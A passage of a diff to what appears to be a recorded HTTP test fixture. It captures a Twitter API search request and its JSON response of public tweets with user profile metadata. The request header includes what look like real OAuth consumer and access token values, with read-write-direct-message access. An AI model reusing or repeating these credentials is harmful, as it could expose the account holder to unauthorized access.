they\\u2019ve got an old pic of you. Get them to update with your Twitter pic. You look older and wise\\u2026 https:\\\/\\\/t.co\\\/IUo7JDo2u9\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"PeterSchiff\",\"name\":\"Peter Schiff\",\"id\":56562803,\"id_str\":\"56562803\",\"indices\":[0,12]}],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/IUo7JDo2u9\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1254206511171031041\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":1253764294421987329,\"in_reply_to_status_id_str\":\"1253764294421987329\",\"in_reply_to_user_id\":56562803,\"in_reply_to_user_id_str\":\"56562803\",\"in_reply_to_screen_name\":\"PeterSchiff\",\"user\":{\"id\":39978586,\"id_str\":\"39978586\",\"name\":\"Steve JB\",\"screen_name\":\"rhcp_steve\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":8,\"friends_count\":34,\"listed_count\":0,\"created_at\":\"Thu May 14 11:59:30 +0000 2009\",\"favourites_count\":136,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":151,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"}],\"search_metadata\":{\"completed_in\":0.104,\"max_id\":1254206512068734977,\"max_id_str\":\"1254206512068734977\",\"next_results\":\"?max_id=1254206511171031040&q=twitter&include_entities=1\",\"query\":\"twitter\",\"refresh_url\":\"?since_id=1254206512068734977&q=twitter&include_entities=1\",\"count\":15,\"since_id\":0,\"since_id_str\":\"0\"}}" - } +[{ + "request": { + "method": "GET", + "url": "https:\/\/api.twitter.com\/1.1\/search\/tweets.json?q=twitter", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"qWYQHV5qw8biySQjoR59V9%2BDvOQ%3D\"", + "Expect": null + } + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "14711", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:50 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:50 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_vWXo\/ERa4hzA0P4KdPAVsQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:50 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111008359713; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:50 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "79ad7f269cccf2e20522870f41e8f396", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-rate-limit-limit": "180", + "x-rate-limit-remaining": "176", + "x-rate-limit-reset": "1587861623", + "x-response-time": "150", + "x-transaction": "0030f8b1004d314d", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "{\"statuses\":[{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206512068734977,\"id_str\":\"1254206512068734977\",\"text\":\"RT @a_albander: \\u0635\\u0648\\u0631\\u0629 \\u062a\\u062d\\u0643\\u064a \\u0627\\u0644\\u0643\\u062b\\u064a\\u0631 .. \\u0641\\u0645\\u0627 \\u0647\\u0648 \\u0627\\u0644\\u062a\\u0639\\u0644\\u064a\\u0642 \\u0627\\u0644\\u0623\\u062c\\u0645\\u0644\\u061f https:\\\/\\\/t.co\\\/GC8VzmAhVs\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"a_albander\",\"name\":\"\\u0639\\u0628\\u062f\\u0627\\u0644\\u0644\\u0647 \\u0627\\u0644\\u0628\\u0646\\u062f\\u0631\",\"id\":248141082,\"id_str\":\"248141082\",\"indices\":[3,14]}],\"urls\":[],\"media\":[{\"id\":1253870173766983690,\"id_str\":\"1253870173766983690\",\"indices\":[59,82],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/GC8VzmAhVs\",\"display_url\":\"pic.twitter.com\\\/GC8VzmAhVs\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/a_albander\\\/status\\\/1253870189361364994\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"}},\"source_status_id\":1253870189361364994,\"source_status_id_str\":\"1253870189361364994\",\"source_user_id\":248141082,\"source_user_id_str\":\"248141082\"}]},\"extended_entities\":{\"media\":[{\"id\":1253870173766983690,\"id_str\":\"1253870173766983690\",\"indices\":[59,82],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/GC8VzmAhVs\",\"display_url\":\"pic.twitter.com\\\/GC8VzmAhVs\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/a_albander\\\/status\\\/1253870189361364994\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"}},\"source_status_id\":1253870189361364994,\"source_status_id_str\":\"1253870189361364994\",\"source_user_id\":248141082,\"source_user_id_str\":\"248141082\"}]},\"metadata\":{\"iso_language_code\":\"ar\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2918893818,\"id_str\":\"2918893818\",\"name\":\"Nawaf\",\"screen_name\":\"ff3h1\",\"location\":\"\\u0627\\u0644\\u0645\\u0645\\u0644\\u0643\\u0629 \\u0627\\u0644\\u0639\\u0631\\u0628\\u064a\\u0629 \\u0627\\u0644\\u0633\\u0639\\u0648\\u062f\\u064a\\u0629\",\"description\":\"\\u0641\\u064a \\u0642\\u0627\\u0646\\u0648\\u0646 \\u0643\\u0628\\u0631\\u064a\\u0627\\u0626\\u064a \\u0644\\u0627 \\u0627\\u062d\\u0628 \\u0623\\u0645\\u062a\\u0644\\u0627\\u0643 \\u0627\\u0644\\u0627\\u0634\\u064a\\u0627\\u0621 \\u0627\\u0644\\u0645\\u062a\\u0627\\u062d\\u0629 \\u0644\\u0644\\u062c\\u0645\\u064a\\u0639\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":139,\"friends_count\":483,\"listed_count\":0,\"created_at\":\"Thu Dec 04 19:03:08 +0000 2014\",\"favourites_count\":164,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":3875,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1136978136598552576\\\/j2Xkn-ZI_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1136978136598552576\\\/j2Xkn-ZI_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2918893818\\\/1575300039\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 02:15:23 +0000 2020\",\"id\":1253870189361364994,\"id_str\":\"1253870189361364994\",\"text\":\"\\u0635\\u0648\\u0631\\u0629 \\u062a\\u062d\\u0643\\u064a \\u0627\\u0644\\u0643\\u062b\\u064a\\u0631 .. \\u0641\\u0645\\u0627 \\u0647\\u0648 \\u0627\\u0644\\u062a\\u0639\\u0644\\u064a\\u0642 \\u0627\\u0644\\u0623\\u062c\\u0645\\u0644\\u061f https:\\\/\\\/t.co\\\/GC8VzmAhVs\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1253870173766983690,\"id_str\":\"1253870173766983690\",\"indices\":[43,66],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/GC8VzmAhVs\",\"display_url\":\"pic.twitter.com\\\/GC8VzmAhVs\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/a_albander\\\/status\\\/1253870189361364994\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1253870173766983690,\"id_str\":\"1253870173766983690\",\"indices\":[43,66],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/GC8VzmAhVs\",\"display_url\":\"pic.twitter.com\\\/GC8VzmAhVs\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/a_albander\\\/status\\\/1253870189361364994\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"ar\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":248141082,\"id_str\":\"248141082\",\"name\":\"\\u0639\\u0628\\u062f\\u0627\\u0644\\u0644\\u0647 \\u0627\\u0644\\u0628\\u0646\\u062f\\u0631\",\"screen_name\":\"a_albander\",\"location\":\"\",\"description\":\"\\u0645\\u0642\\u062f\\u0645 \\u0633\\u0639\\u0648\\u062f\\u064a \\u0648\\u0635\\u0627\\u0646\\u0639 \\u0645\\u062d\\u062a\\u0648\\u0649 \\u0641\\u064a @SkyNewsArabia\",\"url\":\"https:\\\/\\\/t.co\\\/7oZvCGmDJ8\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/7oZvCGmDJ8\",\"expanded_url\":\"https:\\\/\\\/www.snapchat.com\\\/add\\\/a_albander\",\"display_url\":\"snapchat.com\\\/add\\\/a_albander\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":233052,\"friends_count\":785,\"listed_count\":439,\"created_at\":\"Sun Feb 06 10:17:43 +0000 2011\",\"favourites_count\":472,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":8246,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"709397\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme6\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme6\\\/bg.gif\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1252038061355143168\\\/vxQX5Uzc_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1252038061355143168\\\/vxQX5Uzc_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/248141082\\\/1587760417\",\"profile_link_color\":\"FF3300\",\"profile_sidebar_border_color\":\"86A4A6\",\"profile_sidebar_fill_color\":\"A0C5C7\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":1801,\"favorite_count\":3914,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ar\"},\"is_quote_status\":false,\"retweet_count\":1801,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ar\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206512018440200,\"id_str\":\"1254206512018440200\",\"text\":\"RT @czarnepazury: szczere o\\u015bwiadczyny z mi\\u0142o\\u015bci?\\nnieeeeeeeee\\nchallenge 200k na ig i o\\u015bwiadczyny z tego powodu?\\ntaaaaaaaaak https:\\\/\\\/t.co\\\/3LN\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"czarnepazury\",\"name\":\"charlie\",\"id\":1170717318160293888,\"id_str\":\"1170717318160293888\",\"indices\":[3,16]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"pl\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":765089605087535104,\"id_str\":\"765089605087535104\",\"name\":\"golden rose\",\"screen_name\":\"goldenrosexoxo\",\"location\":\"Los Angeles, CA\",\"description\":\"better to be disliked for who you are than to be loved for who you are not\\ud83d\\ude42\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":1391,\"friends_count\":801,\"listed_count\":9,\"created_at\":\"Mon Aug 15 07:35:51 +0000 2016\",\"favourites_count\":18227,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":24443,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1231352110639390722\\\/iua73CVa_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1231352110639390722\\\/iua73CVa_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/765089605087535104\\\/1582412196\",\"profile_link_color\":\"ABB8C2\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"000000\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 17:46:20 +0000 2020\",\"id\":1254104469421375488,\"id_str\":\"1254104469421375488\",\"text\":\"szczere o\\u015bwiadczyny z mi\\u0142o\\u015bci?\\nnieeeeeeeee\\nchallenge 200k na ig i o\\u015bwiadczyny z tego powodu?\\ntaaaaaaaaak https:\\\/\\\/t.co\\\/3LNPi3Hjm1\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254103953920360449,\"id_str\":\"1254103953920360449\",\"indices\":[105,128],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254103953920360449\\\/pu\\\/img\\\/qDPP9qENdCSMX8Lv.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254103953920360449\\\/pu\\\/img\\\/qDPP9qENdCSMX8Lv.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/3LNPi3Hjm1\",\"display_url\":\"pic.twitter.com\\\/3LNPi3Hjm1\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/czarnepazury\\\/status\\\/1254104469421375488\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":540,\"h\":960,\"resize\":\"fit\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":540,\"h\":960,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254103953920360449,\"id_str\":\"1254103953920360449\",\"indices\":[105,128],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254103953920360449\\\/pu\\\/img\\\/qDPP9qENdCSMX8Lv.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254103953920360449\\\/pu\\\/img\\\/qDPP9qENdCSMX8Lv.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/3LNPi3Hjm1\",\"display_url\":\"pic.twitter.com\\\/3LNPi3Hjm1\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/czarnepazury\\\/status\\\/1254104469421375488\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":540,\"h\":960,\"resize\":\"fit\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":540,\"h\":960,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[9,16],\"duration_millis\":22633,\"variants\":[{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254103953920360449\\\/pu\\\/vid\\\/360x640\\\/ktAHBz-gKCvmq_hU.mp4?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254103953920360449\\\/pu\\\/vid\\\/540x960\\\/wRH0cIrDyP0vCII8.mp4?tag=10\"},{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254103953920360449\\\/pu\\\/pl\\\/_VqskdApBVQQMRhB.m3u8?tag=10\"},{\"bitrate\":632000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254103953920360449\\\/pu\\\/vid\\\/320x568\\\/9DGpCwh-deks4BME.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"metadata\":{\"iso_language_code\":\"pl\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1170717318160293888,\"id_str\":\"1170717318160293888\",\"name\":\"charlie\",\"screen_name\":\"czarnepazury\",\"location\":\"\",\"description\":\"she wears a chain and destroyed my heart\\ndon't know how to tell my mom that it's you\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":4401,\"friends_count\":4087,\"listed_count\":43,\"created_at\":\"Sun Sep 08 15:15:47 +0000 2019\",\"favourites_count\":20946,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":9757,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1245471451303510033\\\/aZ06Lbpc_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1245471451303510033\\\/aZ06Lbpc_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1170717318160293888\\\/1574942236\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":49,\"favorite_count\":378,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"pl\"},\"is_quote_status\":false,\"retweet_count\":49,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"pl\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511880056837,\"id_str\":\"1254206511880056837\",\"text\":\"RT @NazareAmarga: *25 de abril*\\n\\neu: https:\\\/\\\/t.co\\\/g5WrhWuyLU\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"NazareAmarga\",\"name\":\"Nazar\\u00e9 Amarga\",\"id\":1072573028,\"id_str\":\"1072573028\",\"indices\":[3,16]}],\"urls\":[],\"media\":[{\"id\":1254098292553777152,\"id_str\":\"1254098292553777152\",\"indices\":[37,60],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/g5WrhWuyLU\",\"display_url\":\"pic.twitter.com\\\/g5WrhWuyLU\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/NazareAmarga\\\/status\\\/1254098297557602304\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":510,\"resize\":\"fit\"}},\"source_status_id\":1254098297557602304,\"source_status_id_str\":\"1254098297557602304\",\"source_user_id\":1072573028,\"source_user_id_str\":\"1072573028\"}]},\"extended_entities\":{\"media\":[{\"id\":1254098292553777152,\"id_str\":\"1254098292553777152\",\"indices\":[37,60],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/g5WrhWuyLU\",\"display_url\":\"pic.twitter.com\\\/g5WrhWuyLU\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/NazareAmarga\\\/status\\\/1254098297557602304\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":510,\"resize\":\"fit\"}},\"source_status_id\":1254098297557602304,\"source_status_id_str\":\"1254098297557602304\",\"source_user_id\":1072573028,\"source_user_id_str\":\"1072573028\"}]},\"metadata\":{\"iso_language_code\":\"pt\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1245833334984527875,\"id_str\":\"1245833334984527875\",\"name\":\"Elis\\ud83d\\udc3e\\u2661\",\"screen_name\":\"elis_fferri\",\"location\":\"\",\"description\":\"Metamorfose... borbolete-se!\\ud83c\\udf37\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":15,\"friends_count\":187,\"listed_count\":0,\"created_at\":\"Thu Apr 02 21:59:57 +0000 